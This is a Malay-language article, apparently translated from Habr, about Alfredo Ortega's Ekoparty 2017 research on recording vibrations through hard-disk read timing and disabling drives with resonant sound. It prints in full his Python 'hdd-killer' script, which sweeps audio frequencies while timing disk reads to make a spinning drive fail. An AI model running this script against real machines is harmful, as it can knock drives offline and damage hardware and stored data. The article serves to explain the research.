Mengapa anda tidak perlu menjerit pada HDD anda

Mengapa anda tidak perlu menjerit pada HDD anda

Pada persidangan keselamatan komputer Ekoparty 2017 di Buenos Aires, penggodam Argentina Alfredo Ortega menunjukkan perkembangan yang sangat menarik - sistem untuk menyadap wayar rahsia premis tanpa menggunakan mikrofon. Bunyi dirakam terus ke cakera keras!

HDD terutamanya menangkap bunyi frekuensi rendah berintensiti tinggi, tapak kaki dan getaran lain. Pertuturan manusia masih belum dapat dikenali, walaupun saintis sedang menjalankan penyelidikan ke arah ini (pengecaman pertuturan melalui getaran frekuensi rendah, yang direkodkan, contohnya, daripada giroskop atau HDD).

Bunyi ialah getaran udara atau medium lain. Seseorang melihatnya melalui gegendang telinga, yang menghantar getaran ke telinga dalam. Mikrofon direka bentuk secara kasar seperti telinga - di sini juga, getaran dirakam oleh membran nipis, yang merangsang impuls elektrik. Pemacu keras, tentu saja, juga tertakluk kepada getaran mikroskopik akibat turun naik di udara sekeliling. Ini diketahui walaupun dari ciri teknikal HDD: pengeluar biasanya menunjukkan tahap getaran maksimum yang dibenarkan, dan cakera keras itu sendiri sering cuba meletakkannya dalam bekas kalis getaran yang diperbuat daripada getah atau bahan penebat lain. Daripada ini adalah mudah untuk membuat kesimpulan bahawa bunyi boleh dirakam menggunakan HDD. Yang tinggal hanyalah memikirkan bagaimana.

Alfredo Ortega mencadangkan versi unik serangan saluran sisi, iaitu serangan masa. Serangan ini berdasarkan andaian bahawa operasi yang berbeza dilakukan pada peranti pada masa yang berbeza, bergantung pada data input yang diberikan. Dalam kes ini, "data input" ialah getaran kepala bacaan dan plat HDD, yang berkait dengan getaran persekitaran, iaitu dengan bunyi. Oleh itu, dengan mengukur masa pengiraan dan melakukan analisis statistik data, getaran kepala/pinggan dan seterusnya getaran medium boleh diukur. Lebih lama kelewatan dalam membaca data, lebih kuat getaran HDD dan, oleh itu, lebih kuat bunyi.

Bagaimana untuk mengukur getaran cakera keras? Sangat mudah: hanya jalankan panggilan sistem read () β€” dan rekod masa yang diperlukan untuk menyelesaikannya. Sistem pengendalian moden membolehkan anda membaca masa panggilan sistem dengan ketepatan nanosaat.

Kelajuan membaca maklumat dari sektor bergantung pada kedudukan kepala dan pinggan, yang berkorelasi dengan getaran kotak HDD. Itu sahaja.

Analisis statistik dijalankan menggunakan utiliti Kscope mudah. Seperti yang mereka katakan, segala-galanya yang bijak adalah mudah.

Mengapa anda tidak perlu menjerit pada HDD anda
Utiliti Kscope (stat() syscall)

Kscope ialah utiliti kecil untuk menggambarkan perbezaan kecil dalam masa pelaksanaan panggilan sistem. Sumberditerbitkan di GitHub.

Dalam repositori berasingan masa HDD terdapat versi utiliti yang dikonfigurasikan untuk serangan masa pada cakera keras, iaitu, dikonfigurasikan untuk menganalisis panggilan sistem read ().

Demonstrasi rakaman bunyi menggunakan HDD, operasi utiliti Kscope


Sudah tentu, pertuturan tidak boleh difahami dengan cara ini, tetapi HDD agak sesuai sebagai sensor getaran. Sebagai contoh, anda boleh mendaftar jika seseorang yang memakai kasut keras atau berkaki ayam memasuki bilik dengan komputer (mungkin, jika penyerang memakai kasut lembut atau terdapat permaidani tebal di atas lantai, HDD tidak akan dapat mendaftarkan getaran - ini patut disemak). Komputer boleh mendaftarkan kaca pecah atau kejadian lain dengan keamatan bunyi yang kuat. Iaitu, cakera keras boleh berfungsi sebagai sejenis sistem pengesanan pencerobohan yang tidak dibenarkan.

Pembunuh HDD

Dengan cara ini, teknik yang sama boleh digunakan untuk melumpuhkan cakera keras. Hanya di sini kami tidak mengeluarkan ayunan dari HDD, tetapi sebaliknya, kami menjana ayunan yang disalurkan ke HDD. Jika anda memainkan bunyi daripada pembesar suara pada frekuensi yang bergema dengan frekuensi HDD, sistem tidak lama lagi akan mematikan peranti dengan ralat I/O (kernel Linux mematikan sepenuhnya HDD selepas 120 saat). Pemacu keras itu sendiri mungkin mengalami kerosakan yang tidak dapat dipulihkan.

Mengapa anda tidak perlu menjerit pada HDD anda
Kernel Linux mematikan pemacu keras selepas 120 saat menyampaikan bunyi pada frekuensi resonans melalui pembesar suara pembesar suara USB Edifier r19u. Pembesar suara dihidupkan pada kira-kira satu perempat kuasa (kurang daripada 100 mW) dan terletak 20 cm dari HDD, ditujukan pada meja untuk meningkatkan getaran. Bingkai daripada klip video dengan demonstrasi pembunuh HDD

Adalah aneh bahawa "serangan" sedemikian pada HDD kadang-kadang berlaku sepenuhnya secara tidak sengaja dalam kehidupan seharian. Sebagai contoh, pada September 2016, pusat data ING Bank terpaksa menggantung operasi selama 10 jam selepas latihan kebakaran. Berpuluh-puluh cakera keras telah gagal disebabkan oleh bunyi kuat gas lengai yang dilepaskan dari silinder di bawah tekanan tinggi. Bunyinya sangat kuat (lebih daripada 130 dB), tetapi anda tidak boleh menjerit pada cakera keras - ini meningkatkan kelewatan dalam mengakses HDD.

Demonstrasi manusia menjerit pada cakera keras di pusat data. Pengukuran latensi


Untuk menghasilkan bunyi bergema, Alfredo Ortega menulis skrip Python yang dipanggil pembunuh hdd (tunjuk cara video).

Skrip pembunuh HDD Ia agak kecil, jadi anda boleh menerbitkannya secara keseluruhan di sini.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Sumber: www.habr.com

Tambah komen